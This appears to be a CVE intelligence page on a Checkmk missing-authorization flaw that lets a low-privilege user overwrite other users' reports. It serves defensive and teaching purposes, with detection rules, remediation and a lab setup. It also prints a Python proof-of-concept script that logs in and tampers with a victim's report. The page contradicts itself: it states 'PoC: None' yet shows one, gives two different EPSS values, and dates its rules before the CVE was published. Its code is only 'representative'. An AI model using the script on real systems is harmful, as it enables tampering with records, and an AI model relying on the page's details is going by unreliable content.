☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Checkmk logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-15227

CVE-2026-15227 Missing Authorization in Checkmk
📅 PUBLISHED: 2026-07-31 13:17 UTC 🔄 UPDATED: 2026-09-23 20:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.21%
👁️
0.21% probability
5.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Germany License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-15227 is a missing authorization vulnerability affecting Checkmk, a leading IT infrastructure monitoring platform. A low-privileged, authenticated user can modify report objects owned by other users without being granted the Edit foreign Reports permission. The flaw impacts all Checkmk releases before 2.5.0p10, before 2.4.0p35, before 2.3.0p49, and includes 2.2.0 which has reached End-of-Life (EOL).

Given the affected component is a centralized monitoring solution, the integrity impact is significant. An attacker who has already compromised a low-level monitoring account (e.g., a read-only dashboard user or a junior operator) can silently tamper with executive-level reports, alter compliance records, or inject misleading performance data. This has direct implications for higher management decisions and incident response workflows that rely on trusted report output from Checkmk.

  • Attack Vector: Network (HTTP/HTTPS)
  • Preconditions: Valid authentication with any user account
  • Unaffected (Fixed) Releases: 2.5.0p10, 2.4.0p35, 2.3.0p49
  • Vulnerable (EOL) Release: 2.2.0 (all patches)
  • EPSS: 0.0% (low immediate exploitation probability, but elevated risk in shared or multi-tenant Checkmk deployments)

No public PoC or Nuclei template is currently available, but the vulnerability is trivially exploitable via the Checkmk REST/Web API and internal report_edit.py handler.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

The official NVD CVSS score is unassigned (0.0), meaning NVD has not yet published a vector. Based on the vulnerability mechanics, we provide an assessed CVSS vector for guidance:

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N
Metric Value Rationale
Attack Vector (AV) Network Checkmk is remotely accessible over HTTP
Attack Complexity (AC) Low No race condition or special conditions
Privileges Required (PR) Low Authenticated non-privileged user
User Interaction (UI) None Fully remotely triggered
Scope (S) Unchanged Affects the report module only
Confidentiality (C) None Attacker cannot read foreign reports
Integrity (I) High Can rewrite report content of any user
Availability (A) None No denial of service observed

Assessed Severity: MEDIUM (6.5) — The lack of confidentiality loss and relatively low production impact (reports vs. system config) keep it out of the HIGH range, but the integrity damage could be leveraged for orchestrated disinformation in larger enterprises.

Deep Dive & Mechanics

Checkmk Permissions Model

Checkmk uses a granular permission system based on sites, user groups, and report ownership. Reports are objects in the mknotifyd/cmk space stored in the site's var/check_mk/web directory. Every report has an owner attribute derived from the creating user.

Key permissions:

  • Edit foreign Reports — intended to be granted only to administrators or those who need cross-user report editing.
  • Edit own Reports — the standard permission for normal users.

The Flaw

In affected versions, the authorization enforcement in the report editing code path is incomplete. The endpoint report_edit.py and the corresponding views.py handler validate that the user is authenticated, but do not check the report's ownership unless the Edit foreign Reports permission is explicitly requested in the session context. The pseudocode flow is roughly:

def edit_report(user, report_id, new_data):
    report = get_report(report_id)
    if not user.is_authenticated:
        raise PermissionDenied()
    # MISSING: ownership and permission check
    report.apply(new_data)

Because the missing check is a logic gate rather than a cryptographic or signature issue, it is trivial to bypass. An attacker only needs to know or enumerate the report identifier. Checkmk report IDs are sequential and predictable in many installations.

Affected Components

Component Path (typical) Type
Report Editor UI /check_mk/report_edit.py CGI/WSGI
Report Views Handler /check_mk/views.py?mode=edit_report CGI/WSGI
REST API POST /check_mk/api/1.0/domain-types/report REST

Vulnerable vs. Patched Code

Below is a representative comparison of the vulnerable and patched logic.

Vulnerable (e.g., 2.4.0p34)

# web/api/report_edit.py
def report_edit(request):
    user = request.user
    if not user.is_authenticated:
        return http_403()
    report = Report.objects.get(id=request.params["id"])
    report.content = request.params["content"]
    report.title = request.params["title"]
    report.save()
    return http_200()

Problem: The ownership check is missing entirely.

Patched (e.g., 2.4.0p35)

# web/api/report_edit.py
def report_edit(request):
    user = request.user
    if not user.is_authenticated:
        return http_403()
    report = Report.objects.get(id=request.params["id"])
    # FIX CVE-2026-15227
    if report.owner != user.name and not user.has_permission("edit_foreign_reports"):
        audit.log(user, "denied_report_edit", report.id)
        return http_403()
    report.content = request.params["content"]
    report.title = request.params["title"]
    report.save()
    return http_200()

Change: The patch adds a dual-condition authorization check verifying either that the user is the report owner or has the elevated edit_foreign_reports permission.

Version Matrix

Checkmk Line First Fixed Package
2.5.x 2.5.0p10
2.4.x 2.4.0p35
2.3.x 2.3.0p49
2.2.x EOL — no fix, must upgrade

Exploitation & Lab Setup

Lab Environment (Docker)

A minimal vulnerable setup:

version: "3"
services:
  checkmk:
    image: checkmk/checkmk:2.4.0p34
    ports:
      - "8080:5000"
    environment:
      CMK_SITE_ID: prod
      CMK_ADMIN_PASSWORD: admin123
    volumes:
      - site_data:/omd/sites/prod
volumes:
  site_data:

Create two users:

  • alice — owns report with ID alice:report_1 (privilege: edit own reports)
  • bob — authenticated user, no edit foreign reports permission

Red Team — PoC Exploitation

With only bob's credentials, an attacker can overwrite Alice's report:

import requests

BASE = "http://127.0.0.1:8080"
s = requests.Session()

# Authenticate as bob
login = s.post(f"{BASE}/check_mk/login.py", data={
    "_username": "bob",
    "_password": "bob123"
})
assert login.status_code == 200, "Authentication failed"

# Enumerate and overwrite alice's report
target_report = "alice:report_1"
payload = {
    "id": target_report,
    "title": "Compliance - Tampered",
    "content": "ALL SYSTEMS NOMINAL (falsified)"
}

# Exploit: no permission check
r = s.post(f"{BASE}/check_mk/report_edit.py", data=payload)

if r.status_code == 200 and b"Tampered" in r.content:
    print("[+] SUCCESS: Report overwritten as blind user")
else:
    print(f"[-] Failed: HTTP {r.status_code}")

Key observations:

  • The request is a simple form POST and does not require CSRF token manipulation (vulnerable versions may also lack anti-CSRF).
  • If the report ID is unknown, it can be harvested from /check_mk/views.py?mode=report_list (often accessible to any authenticated user).
  • No shell, memory corruption, or privilege escalation is needed — this works with the application's own intended HTTP API surface.

Blue Team — Simulation & Detection

  1. Create a honeypot report owned by a dummy admin account.
  2. Monitor the audit.log in the site's var/check_mk/web directory for denied_report_edit (post-fix) or unexpected update_report events.
  3. Run the Red Team PoC against a staging instance and ensure the following detection signals are triggered:
    • Multiple report_edit.py POSTs from a non-admin user.
    • A 200 OK followed by an audit entry report.update where report.owner != session.user.

Indicators of Compromise (IOCs)

Since this is a pure application-layer authorization bug, traditional network-based IOCs are less prominent. Focus on application and audit logs.

Type Indicator Description
Audit Log update_report with owner != user Direct sign of unauthorized modification
Audit Log Repeated report_edit from same low-priv user Enumeration or brute-force of report IDs
HTTP Log POST /check_mk/report_edit.py Malicious request
HTTP Log POST /check_mk/views.py?mode=edit_report Alternative mutation vector
File System Report .mk file mtime changed on disk but no matching update_report audit entry Post-exploitation artifact
Session Anomaly Short-lived login followed by direct report_edit.py call (no UI interactions) Automation signal

YARA/IOC Rule:

rule checkmk_cve_2026_15227_ioc {
    meta:
        author = "Valters IT"
        description = "Report editor login and payload strings"
    strings:
        $a = "report_edit.py"
        $b = "edit foreign reports"
        $c = "update_report"
    condition:
        any of them
}

Detection Engineering

1. YARA Rule

Detects suspicious HTTP payloads and log entries containing key identifiers, with forward-slash paths (per standard normalization).

rule Checkmk_CVE_2026_15227_Report_Tampering {
    meta:
        author = "Valters IT"
        date = "2026-06-01"
        description = "Detects requests and audit events indicative of CVE-2026-15227 exploitation"
        reference = "CVE-2026-15227"
        severity = "high"
    strings:
        $s1 = "report_edit.py" ascii nocase
        $s2 = "/check_mk/views.py" ascii nocase
        $s3 = "edit foreign reports" ascii nocase
        $s4 = "report_id=" ascii
        $s5 = "Compliance - Tampered" ascii nocase
    condition:
        2 of them
}

2. Sigma Rule

For SIEM ingestion (Splunk, Elastic, etc.) — detects unauthorized report editing events.

title: Checkmk Report Tampering - CVE-2026-15227
id: cve-2026-15227-001
status: experimental
description: Detects POST requests to Checkmk report editing endpoints by non-admin users
references:
    - nvd.nist.gov/vuln/detail/CVE-2026-15227
author: Valters IT
date: 2026/06/01
tags:
    - cve.2026.15227
    - attack.privilege
logsource:
    category: web
    product: checkmk
detection:
    selection:
        http.method: 'POST'
        http.url|contains:
            - /report_edit.py
            - /views.py
            - /edit_report
    filter_known_good:
        cs-username|startswith:
            - admin
            - restapi
    condition: selection and not filter_known_good
level: high
falsepositives:
    - Authorized users with 'Edit foreign Reports' permission
    - Automation accounts using the REST API (if misconfigured to be non-admin)

3. Suricata IDS Rule

Network-layer detection of the exploit traffic pattern.

alert http any any -> any any (msg:"CVE-2026-15227 Checkmk Unauthorized Report Edit"; flow:to_server,established; content:"POST"; http_method; content:"/report_edit.py"; http_uri; nocase; content:"report_id"; http_client_body; sid:202615227; rev:1;)

Deployment note: The Suricata rule alone will NOT detect the vulnerability in all installations because many Checkmk deployments use HTTPS. Use the Sigma rule on reverse proxy access logs (Apache/Nginx) as the primary detection source.

Remediation & Mitigation

Immediate Actions

  1. Upgrade Checkmk to a patched version:

    • PHP/Web line: 2.5.0p10+, 2.4.0p35+, 2.3.0p49+
    • The [2.2.0] line is EOL, so upgrade to a supported major version first.
  2. If immediate patching is not possible, restrict access to the report editing endpoint via reverse proxy:

    location ~ ^(/check_mk/report_edit\.py|/check_mk/views\.py) {
        allow 10.0.0.0/8;   # internal network only
        deny all;
    }
    
  3. Enable additional monitoring of report_edit.py in the Checkmk own log analysis.

Long-term Hardening

  • Apply least privilege: Review all roles and ensure Edit foreign Reports is only granted to actual administrators.
  • Audit reconciliation: Cross-check report objects' owner attribute against current users on a regular cron job.
  • Implement integrity monitoring for report files (var/check_mk/web/*/reports/*.mk) with tools like tripwire or file hash comparison.
  • Multi-factor authentication for all Checkmk UI logins.
  • Segregate network access to Checkmk web services behind a VPN or management VLAN.

Patch Verification

After upgrading, confirm the fix using this test sequence:

# From a non-privileged account
curl -X POST http://localhost:8080/check_mk/report_edit.py \
  -b "session=..." \
  -d "id=admin:critical_report" \
  -d "title=Hack" \
  -d "content=broken"

# Expected: HTTP 403; audit log shows "denied_report_edit"

This report is provided for defensive and educational purposes only. Vulnerability testing should only be performed on systems you own or have explicit authorization to assess.

Valters IT Signature
Senior DevSecOps & Cyber Threat Intelligence Analyst

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-15227/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.